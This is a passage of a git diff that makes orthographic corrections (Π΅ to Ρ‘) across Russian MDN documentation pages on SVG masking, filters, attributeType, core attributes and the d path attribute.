+<p>Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ всС ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„Ρ‹ ΠΌΠ°ΡΠΊΠΈΡ€ΡƒΡŽΡ‚ΡΡ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ <a href="/en-US/docs/Web/SVG/Element/mask">SVG</a>Β <a href="/en-US/docs/Web/SVG/Element/mask"><code>&lt;mask&gt;</code></a>  с <a href="/en-US/docs/Web/HTML/Global_attributes/id">ID</a> <code>my-mask</code>.Β </p>
<h3 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€_маскировка">ΠŸΡ€ΠΈΠΌΠ΅Ρ€: маскировка</h3>
@@ -45,7 +45,7 @@ p {
<p>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ Π² CSS маска ΡƒΠΊΠ°Π·Π°Π½Π° с использованиСм URL-адрСса ID- <code>#mask-1</code>, которая являСтся ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ΠΎΠΌ маски SVG, ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΉ Π½ΠΈΠΆΠ΅. ВсС ΠΎΡΡ‚Π°Π»ΡŒΠ½ΠΎΠ΅ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ подробности ΠΎ самой маскС Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚Π°.</p>
-<p>ΠŸΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ SVG-эффСкта ΠΊ (X) HTML выполняСтся ΠΏΡƒΡ‚Π΅ΠΌ назначСния <code>target</code> классу, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΌΡƒ Π²Ρ‹ΡˆΠ΅Β ΡΠ»Π΅ΠΌΠ΅Π½Ρ‚Ρƒ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€:</p>
+<p>ΠŸΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ SVG-эффСкта ΠΊ (X) HTML выполняСтся ΠΏΡƒΡ‚Ρ‘ΠΌ назначСния <code>target</code> классу, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΌΡƒ Π²Ρ‹ΡˆΠ΅Β ΡΠ»Π΅ΠΌΠ΅Π½Ρ‚Ρƒ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€:</p>
<pre class="brush: html">&lt;p class="target" style="background:lime;"&gt;
Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt
@@ -59,7 +59,7 @@ p {
&lt;/p&gt;
</pre>
-<p>Π’Ρ‹ΡˆΠ΅ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ маски, примСняСмой ΠΊ Π½Π΅ΠΌΡƒ.</p>
+<p>Π’Ρ‹ΡˆΠ΅ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ маски, примСняСмой ΠΊ Π½Π΅ΠΌΡƒ.</p>
<p>{{EmbedLiveSample('Example_Masking', 650, 200)}}</p>
@@ -111,7 +111,7 @@ p {
<h3 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€_Π€ΠΈΠ»ΡŒΡ‚Ρ€Π°Ρ†ΠΈΡ">ΠŸΡ€ΠΈΠΌΠ΅Ρ€: Π€ΠΈΠ»ΡŒΡ‚Ρ€Π°Ρ†ΠΈΡ</h3>
-<p>Π­Ρ‚ΠΎ дСмонстрируСт ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ Ρ„ΠΈΠ»ΡŒΡ‚Ρ€Π° ΠΊ содСрТимому HTML с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ SVG. Он устанавливаСт нСсколько Ρ„ΠΈΠ»ΡŒΡ‚Ρ€ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ с CSS ΠΊ Ρ‚Ρ€Π΅ΠΌ элСмСнтам ΠΊΠ°ΠΊ Π² Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎΠΌ состоянии, Ρ‚Π°ΠΊ ΠΈ ΠΏΡ€ΠΈΒ <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/:hover">hover</a> ΠΌΡ‹ΡˆΠΈ.</p>
+<p>Π­Ρ‚ΠΎ дСмонстрируСт ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ Ρ„ΠΈΠ»ΡŒΡ‚Ρ€Π° ΠΊ содСрТимому HTML с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ SVG. Он устанавливаСт нСсколько Ρ„ΠΈΠ»ΡŒΡ‚Ρ€ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ с CSS ΠΊ Ρ‚Ρ€Ρ‘ΠΌ элСмСнтам ΠΊΠ°ΠΊ Π² Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎΠΌ состоянии, Ρ‚Π°ΠΊ ΠΈ ΠΏΡ€ΠΈΒ <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/:hover">hover</a> ΠΌΡ‹ΡˆΠΈ.</p>
<pre class="brush: html">&lt;p class="target" style="background: lime;"&gt;
Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt
diff --git a/files/ru/web/svg/attribute/attributetype/index.html b/files/ru/web/svg/attribute/attributetype/index.html
index 64578f28b0..c4e46ff973 100644
--- a/files/ru/web/svg/attribute/attributetype/index.html
+++ b/files/ru/web/svg/attribute/attributetype/index.html
@@ -8,7 +8,7 @@ translation_of: Web/SVG/Attribute/attributeType
---
<p>Β« <a href="/ru/docs/Web/SVG/Attribute" title="Π‘ΠΏΡ€Π°Π²ΠΎΡ‡Π½ΠΈΠΊ SVG Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ²">Π‘ΠΏΡ€Π°Π²ΠΎΡ‡Π½ΠΈΠΊ SVG Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ²</a></p>
-<p>Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ Π·Π°Π΄Π°Π΅Ρ‚ пространство ΠΈΠΌΠ΅Π½, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ΡΡ ΠΊΠΎΠ½Π΅Ρ‡Π½Ρ‹ΠΉ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ ΠΈ связанныС с Π½ΠΈΠΌ значСния.</p>
+<p>Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ Π·Π°Π΄Π°Ρ‘Ρ‚ пространство ΠΈΠΌΡ‘Π½, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ΡΡ ΠΊΠΎΠ½Π΅Ρ‡Π½Ρ‹ΠΉ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ ΠΈ связанныС с Π½ΠΈΠΌ значСния.</p>
<h2 id="ΠšΠΎΠ½Ρ‚Π΅ΠΊΡΡ‚_использования">ΠšΠΎΠ½Ρ‚Π΅ΠΊΡΡ‚ использования</h2>
@@ -40,9 +40,9 @@ translation_of: Web/SVG/Attribute/attributeType
<dd>Π£ΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°Β  {{ SVGAttr("attributeName") }}  являСтся ΠΈΠΌΠ΅Π½Π΅ΠΌ свойства CSS, опрСдСляСмого ΠΊΠ°ΠΊ анимация.</dd>
<dt>Β </dt>
<dt>XML</dt>
- <dd>Π£ΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°{{ SVGAttr("attributeName") }} являСтся ΠΈΠΌΠ΅Π½Π΅ΠΌ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° XML, опрСдСляСмого ΠΊΠ°ΠΊ анимация Π² пространствС ΠΈΠΌΠ΅Π½ XML ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ для Ρ†Π΅Π»Π΅Π²ΠΎΠ³ΠΎ элСмСнта.</dd>
+ <dd>Π£ΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°{{ SVGAttr("attributeName") }} являСтся ΠΈΠΌΠ΅Π½Π΅ΠΌ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° XML, опрСдСляСмого ΠΊΠ°ΠΊ анимация Π² пространствС ΠΈΠΌΡ‘Π½ XML ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ для Ρ†Π΅Π»Π΅Π²ΠΎΠ³ΠΎ элСмСнта.</dd>
<dt>auto</dt>
- <dd>РСализация Π΄ΠΎΠ»ΠΆΠ½Π° ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ {{ SVGAttr("attributeName") }} Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρƒ Ρ†Π΅Π»Π΅Π²ΠΎΠ³ΠΎ элСмСнта. АгСнты ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ сначала посмотрят список свойств CSS для ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ ΠΈΠΌΠ΅Π½ΠΈ свойства, Π° Ссли Π½Π΅Ρ‚, Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚Π΅ поиск Π² пространствС ΠΈΠΌΠ΅Π½ XML ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ для элСмСнта.</dd>
+ <dd>РСализация Π΄ΠΎΠ»ΠΆΠ½Π° ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ {{ SVGAttr("attributeName") }} Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρƒ Ρ†Π΅Π»Π΅Π²ΠΎΠ³ΠΎ элСмСнта. АгСнты ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ сначала посмотрят список свойств CSS для ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ ΠΈΠΌΠ΅Π½ΠΈ свойства, Π° Ссли Π½Π΅Ρ‚, Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚Π΅ поиск Π² пространствС ΠΈΠΌΡ‘Π½ XML ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ для элСмСнта.</dd>
</dl>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€">ΠŸΡ€ΠΈΠΌΠ΅Ρ€</h2>
diff --git a/files/ru/web/svg/attribute/core/index.html b/files/ru/web/svg/attribute/core/index.html
index 4423aa5468..6abb480a61 100644
--- a/files/ru/web/svg/attribute/core/index.html
+++ b/files/ru/web/svg/attribute/core/index.html
@@ -26,7 +26,7 @@ translation_of: Web/SVG/Attribute/Core
<small><em>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅</em>: Π›ΡŽΠ±ΠΎΠ΅ строковоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ID;Β <em>АнимируСмый</em>: <strong>НСт</strong></small></dd>
<dt id="attr-lang">{{SVGAttr('lang')}}</dt>
<dd>
- <p>УчаствуСт Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠΈ языка элСмСнта, языка, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ написаны Π½Π΅Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΡƒΠ΅ΠΌΡ‹Π΅ элСмСнты, ΠΈΠ»ΠΈ языка, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ написаны Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΡƒΠ΅ΠΌΡ‹Π΅ элСмСнты. Вэг содСрТит ΠΎΠ΄Π½ΠΎ СдинствСнноС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ записи Π² Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΌΒ Π² <a href="https://www.ietf.org/rfc/bcp/bcp47.txt">Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅ IETF "Tags for Identifying Languages (BCP47)"</a>.</p>
+ <p>УчаствуСт Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠΈ языка элСмСнта, языка, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ написаны Π½Π΅Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΡƒΠ΅ΠΌΡ‹Π΅ элСмСнты, ΠΈΠ»ΠΈ языка, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ написаны Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΡƒΠ΅ΠΌΡ‹Π΅ элСмСнты. Вэг содСрТит ΠΎΠ΄Π½ΠΎ СдинствСнноС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ записи Π² Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΌΒ Π² <a href="https://www.ietf.org/rfc/bcp/bcp47.txt">Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅ IETF "Tags for Identifying Languages (BCP47)"</a>.</p>
<div class="note">
<p>SVG2 прСдоставляСт Π½ΠΎΠ²Ρ‹Π΅ <code>lang</code> Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹. Если Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹ <code>lang</code> ΠΈ <code>xml:lang</code> ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ вмСстС, Ρ‚ΠΎ <code>xml:lang</code> ΠΈΠΌΠ΅Π΅Ρ‚ ΠΏΡ€ΠΈΠΎΡ€ΠΈΡ‚Π΅Ρ‚ Π½Π°Π΄ <code>lang</code>.</p>
@@ -42,7 +42,7 @@ translation_of: Web/SVG/Attribute/Core
<small><em>Π’ΠΈΠΏ</em>: <a href="/docs/Web/SVG/Content_type#IRI">&lt;IRI&gt;</a>; <em>АнимируСмый</em>: <strong>НСт</strong></small></dd>
<dt id="attr-xml:lang">{{SVGAttr('xml:lang')}}</dt>
<dd>
- <p>Π­Ρ‚ΠΎΒ ΡƒΠ½ΠΈΠ²Π΅Ρ€ΡΠ°Π»ΡŒΠ½Ρ‹ΠΉ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚, Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹ΠΉΒ Π²ΠΎ всСх XML Π΄ΠΈΠ°Π»Π΅ΠΊΡ‚Π°Ρ… для Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ СстСствСнного чСловСчСского языка, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ содСрТит элСмСнт. Он ΠΏΠΎΡ‡Ρ‚ΠΈ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ‡Π΅Π½ ΠΏΠΎΒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½ΠΈΡŽΒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°Β <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/lang">lang</a>Β Π² HTML, Π½ΠΎ Π² соотвСтствии с Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΠ΅ΠΉ XML 1.0, Π΄Π°Π½Π½Ρ‹ΠΉ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ Π½Π΅ позволяСт ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π½ΡƒΠ»Π΅Π²ΠΎΠ΅ (<code>null</code>) Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°Β (<code>xml:lang=""</code>) для указания нСизвСстного языка. ВмСсто этого, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅Β <code>xml:lang="und"</code>.</p>
+ <p>Π­Ρ‚ΠΎΒ ΡƒΠ½ΠΈΠ²Π΅Ρ€ΡΠ°Π»ΡŒΠ½Ρ‹ΠΉ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚, Ρ€Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹ΠΉΒ Π²ΠΎ всСх XML Π΄ΠΈΠ°Π»Π΅ΠΊΡ‚Π°Ρ… для Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ СстСствСнного чСловСчСского языка, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ содСрТит элСмСнт. Он ΠΏΠΎΡ‡Ρ‚ΠΈ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ‡Π΅Π½ ΠΏΠΎΒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½ΠΈΡŽΒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°Β <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/lang">lang</a>Β Π² HTML, Π½ΠΎ Π² соотвСтствии с Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΠ΅ΠΉ XML 1.0, Π΄Π°Π½Π½Ρ‹ΠΉ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ Π½Π΅ позволяСт ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π½ΡƒΠ»Π΅Π²ΠΎΠ΅ (<code>null</code>) Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°Β (<code>xml:lang=""</code>) для указания нСизвСстного языка. ВмСсто этого, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅Β <code>xml:lang="und"</code>.</p>
<div class="note">
<p>SVG2 прСдоставляСт Π½ΠΎΠ²Ρ‹Π΅ <code>lang</code> Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹. Если Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹ <code>lang</code> ΠΈ <code>xml:lang</code> ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ вмСстС, Ρ‚ΠΎ <code>xml:lang</code> ΠΈΠΌΠ΅Π΅Ρ‚ ΠΏΡ€ΠΈΠΎΡ€ΠΈΡ‚Π΅Ρ‚ Π½Π°Π΄ <code>lang</code>.</p>
diff --git a/files/ru/web/svg/attribute/d/index.html b/files/ru/web/svg/attribute/d/index.html
index 708aa0cbad..2e1807e521 100644
--- a/files/ru/web/svg/attribute/d/index.html
+++ b/files/ru/web/svg/attribute/d/index.html
@@ -72,7 +72,7 @@ translation_of: Web/SVG/Attribute/d
</tbody>
</table>
-<p class="note"><strong>Бноска:</strong> Π’ΠΎΡ‡ΠΊΠ° происхоТдСния (ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Π° <code>0</code>,<code>0</code>) ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ являСтся Π²Π΅Ρ€Ρ…Π½ΠΈΠΌ Π»Π΅Π²Ρ‹ΠΌ ΡƒΠ³Π»ΠΎΠΌ контСкста. Однако элСмСнт {{SVGElement("glyph")}}Β ΠΈΠΌΠ΅Π΅Ρ‚ своС происхоТдСниС Π² Π»Π΅Π²ΠΎΠΌ Π½ΠΈΠΆΠ½Π΅ΠΌ ΡƒΠ³Π»Ρƒ своСго бокса.</p>
+<p class="note"><strong>Бноска:</strong> Π’ΠΎΡ‡ΠΊΠ° происхоТдСния (ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Π° <code>0</code>,<code>0</code>) ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ являСтся Π²Π΅Ρ€Ρ…Π½ΠΈΠΌ Π»Π΅Π²Ρ‹ΠΌ ΡƒΠ³Π»ΠΎΠΌ контСкста. Однако элСмСнт {{SVGElement("glyph")}}Β ΠΈΠΌΠ΅Π΅Ρ‚ своё происхоТдСниС Π² Π»Π΅Π²ΠΎΠΌ Π½ΠΈΠΆΠ½Π΅ΠΌ ΡƒΠ³Π»Ρƒ своСго бокса.</p>
<h2 id="missing-glyph">missing-glyph</h2>
@@ -122,9 +122,9 @@ translation_of: Web/SVG/Attribute/d
<p><em>(MoveTo path commands)</em></p>
-<p><em>MoveToΒ </em>инструкции ΠΌΠΎΠΆΠ½ΠΎ Ρ€Π°ΡΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°Ρ‚ΡŒ ΠΊΠ°ΠΊ собираниС Ρ‡Π΅Ρ€Ρ‚Π΅ΠΆΠ½ΠΎΠ³ΠΎ инструмСнта ΠΈ установку Π΅Π³ΠΎ Π² Π΄Ρ€ΡƒΠ³ΠΎΠΌ мСстС. ΠœΠ΅ΠΆΠ΄Ρƒ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΉ Ρ‚ΠΎΡ‡ΠΊΠΎΠΉ ΠΈ ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠΎΠΉ Π½Π΅Ρ‚ Π»ΠΈΠ½ΠΈΠΈ.</p>
+<p><em>MoveToΒ </em>инструкции ΠΌΠΎΠΆΠ½ΠΎ Ρ€Π°ΡΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°Ρ‚ΡŒ ΠΊΠ°ΠΊ собираниС Ρ‡Π΅Ρ€Ρ‚Ρ‘ΠΆΠ½ΠΎΠ³ΠΎ инструмСнта ΠΈ установку Π΅Π³ΠΎ Π² Π΄Ρ€ΡƒΠ³ΠΎΠΌ мСстС. ΠœΠ΅ΠΆΠ΄Ρƒ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΉ Ρ‚ΠΎΡ‡ΠΊΠΎΠΉ ΠΈ ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠΎΠΉ Π½Π΅Ρ‚ Π»ΠΈΠ½ΠΈΠΈ.</p>
-<p class="note"><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°:</strong> Π₯ΠΎΡ€ΠΎΡˆΠ΅ΠΉ ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠΎΠΉ являСтся ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΠΈΠ΅ всСх ΠΏΡƒΡ‚Π΅ΠΉ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹ <strong>moveto</strong>, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Π±Π΅Π· Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ <strong>moveto</strong> ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹ Π±ΡƒΠ΄ΡƒΡ‚ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒΡΡ с Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠΈ, Π³Π΄Π΅ Π±Ρ‹ это Π½ΠΈ Π±Ρ‹Π»ΠΎ Ρ€Π°Π½Π΅Π΅, Ρ‡Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ привСсти ΠΊ Π½Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΌΡƒ повСдСнию.</p>
+<p class="note"><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°:</strong> Π₯ΠΎΡ€ΠΎΡˆΠ΅ΠΉ ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠΎΠΉ являСтся ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΠΈΠ΅ всСх ΠΏΡƒΡ‚Π΅ΠΉ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹ <strong>moveto</strong>, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Π±Π΅Π· Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ <strong>moveto</strong> ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹ Π±ΡƒΠ΄ΡƒΡ‚ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒΡΡ с Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠΈ, Π³Π΄Π΅ Π±Ρ‹ это Π½ΠΈ Π±Ρ‹Π»ΠΎ Ρ€Π°Π½Π΅Π΅, Ρ‡Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ привСсти ΠΊ Π½Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΌΡƒ повСдСнию.</p>
<table class="standard-table">
<tbody>
@@ -188,7 +188,7 @@ translation_of: Web/SVG/Attribute/d
<th scope="row">L</th>
<td>(<code>x</code>, <code>y</code>)+</td>
<td>
- <p>РисуСт линию ΠΈΠ· <em>Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ Ρ‚ΠΎΡ‡ΠΊΠΈ Π²Β ΠΊΠΎΠ½Π΅Ρ‡Π½ΡƒΡŽ Ρ‚ΠΎΡ‡ΠΊΡƒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΡƒΡŽ</em> <code>x</code>,<code>y</code>.Β Π›ΡŽΠ±Π°ΡΒ ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π°Ρ ΠΏΠ°Ρ€Π°(Ρ‹)Β ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚ интСрпрСтируСтся ΠΊΠ°ΠΊ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€(Ρ‹) для нСявной Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½ΠΎΠΉ ΠΊΠΎΠΌΠ°Π½Π΄(Ρ‹) LineTo (<code>L</code>). Π€ΠΎΡ€ΠΌΡƒΠ»Π°: P<sub>o</sub><sup>'</sup>Β = P<sub>n</sub>Β = {<code>x</code>,Β <code>y</code>}</p>
